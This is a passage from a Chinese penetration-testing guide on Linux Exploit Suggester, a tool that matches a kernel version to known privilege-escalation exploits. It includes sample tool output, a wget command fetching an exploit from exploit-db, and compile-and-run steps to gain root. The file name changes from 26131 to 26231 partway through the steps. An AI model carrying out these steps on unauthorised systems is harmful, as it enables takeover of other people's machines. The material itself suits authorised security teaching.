1.4 Linux提权辅助工具Linux Exploit Suggester
Linux Exploit Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本,将执行“uname-r”命令返回操作系统发行版本信息,也可以手工输入“-k”参数查找指定版本号。Linux Exploit Suggester的官方下载地址为https://github.com/PenturaLabs/Linux_Exploit_Suggester,该程序2014年以后就没有更新了。
1.4.1 列出可能的漏洞
执行如下命令,列出内核版本为Linux 3.0.0的所有可能漏洞,如图1-43所示。漏洞利用程序和脚本可以在http://www.exploit-db.com/网站下载。
图1-43 列出所有可用的漏洞利用程序
perl ./Linux_Exploit_Suggester.pl -k 3.0.0
或者
./Linux_Exploit_Suggester.pl -k 3.0.0
如果执行的是默认程序,则自动识别当前内核版本,并提示可以利用的漏洞程序。例如,在CentOS Release 5.6 (Final)内核版本2.6.18-238.el5下运行该程序,将得到如下结果。
sh-3.2$ ./Linux_Exploit_Suggester.pl Kernel local: 2.6.18 Searching among 65 exploits... Possible Exploits: [+] american-sign-language CVE-2010-4347 Source: http://www.securityfocus.com/bid/45408/ [+] can_bcm CVE-2010-2959 Source: http://www.exploit-db.com/exploits/14814/ [+] do_pages_move Alt: sieve CVE-2010-0415 Source: Spenders Enlightenment [+] ftrex CVE-2008-4210 Source: http://www.exploit-db.com/exploits/6851 [+] half_nelson Alt: econet CVE-2010-3848 Source: http://www.exploit-db.com/exploits/6851 [+] half_nelson1 Alt: econet CVE-2010-3848 Source: http://www.exploit-db.com/exploits/17787/ [+] half_nelson2 Alt: econet CVE-2010-3850 Source: http://www.exploit-db.com/exploits/17787/ [+] half_nelson3 Alt: econet CVE-2010-4073 Source: http://www.exploit-db.com/exploits/17787/ [+] msr CVE-2013-0268 Source: http://www.exploit-db.com/exploits/27297/ [+] pipe.c_32bit CVE-2009-3547 Source: http://www.securityfocus.com/data/vulnerabilities/exploits/ 36901-1.c [+] pktcdvd CVE-2010-3437 Source: http://www.exploit-db.com/exploits/15150/ [+] reiserfs CVE-2010-1146 Source: http://www.exploit-db.com/exploits/12130/ [+] sock_sendpage Alt: wunderbar_emporium CVE-2009-2692 Source: http://www.exploit-db.com/exploits/9435 [+] sock_sendpage2 Alt: proto_ops CVE-2009-2692 Source: http://www.exploit-db.com/exploits/9436 [+] udp_sendmsg_32bit CVE-2009-2698 Source: http://downloads.securityfocus.com/vulnerabilities/exploits/ 36108.c [+] video4linux CVE-2010-3081 Source: http://www.exploit-db.com/exploits/15024/ [+] vmsplice1 Alt: jessica biel CVE-2008-0600 Source: http://www.exploit-db.com/exploits/5092
1.4.2 下载可利用的脚本
使用“wget url漏洞地址”命令下载漏洞程序。例如,通过检测得知内核为Linux 3.0.0,可能存在perf_swevent漏洞,其漏洞编号为CVE-2013-2094,可利用程序名字为26131,下载命令如下。
wget http://www.exploit-db.com/download/26131
1.4.3 编译并执行
在一般情况下,执行如下命令执行即可。对特殊的编译情况,可利用漏洞程序会给出相应的说明。
gcc 26131.c -o 26131 chmod +x 26231 ./26231
如果能够获取root权限,则会进行相应的提示。root权限可以通过命令“id”或者提示符来认定。
1.4.4 总结与思考
下面总结一些提权技巧。
·可以根据编译结果来判断是否存在漏洞。例如,“[-] mmap(): Operation not permitted”表示没有权限,无法成功提权。
·可以在相应内核版本的虚拟机中编译漏洞利用程序,下次碰到时可以直接上传执行,从而提高效率。
·可以使用“./Linux_Exploit_Suggester.pl>1.txt”命令将所有结果保存在1.txt中,然后对照程序进行下载和编译。
·在使用“wget http://www.exploit-db.com/exploits/5092”命令下载时需要添加“--no-check-certificate”参数。如果不能下载,则需要使用浏览器打开网站下载。